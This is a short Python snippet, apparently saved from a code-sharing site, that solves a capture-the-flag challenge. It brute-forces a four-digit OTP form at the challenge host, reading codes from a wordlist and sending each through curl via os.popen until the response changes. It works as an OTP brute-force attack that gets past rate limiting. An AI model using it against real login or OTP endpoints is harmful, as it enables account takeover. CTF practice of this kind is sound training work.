It Performs Curl Request To Solve CTF Challenge
Sun Dec 20 2020 09:07:03 GMT+0000 (Coordinated Universal Time)
Saved by
@vanshdevgan
#python
import os
def split(word):
return [char for char in word]
f1=open('wordlist.txt','r')
invalid_response=os.popen('curl -H "User-Agent: th3pr0xyb0y/1337" "http://ratelimit.noobarmy.org/Enterotp" -H "Content-Type: application/x-www-form-urlencoded" -d "digit_1=1&digit_2=2&digit_3=3&digit_4=4" --silent').read()
numbers=f1.read().splitlines()
for i in numbers:
temp=split(i)
smallpayload="digit_1="+temp[0]+"&digit_2="+temp[1]+"&digit_3="+temp[2]+"&digit_4="+temp[3]
payload= 'curl -H "User-Agent: th3pr0xyb0y/1337" "http://ratelimit.noobarmy.org/Enterotp" -H "Content-Type: application/x-www-form-urlencoded" -d "'+smallpayload+'" --silent '
print("Testing OTP",temp[0],temp[1],temp[2],temp[3])
# print(payload)
response=os.popen(payload).read()
if(response!=invalid_response):
print("Correct OTP IS ",temp[0],temp[1],temp[2],temp[3])
print("Flag Is : ",response)
exit(0)
content_copyCOPY
ctf
Comments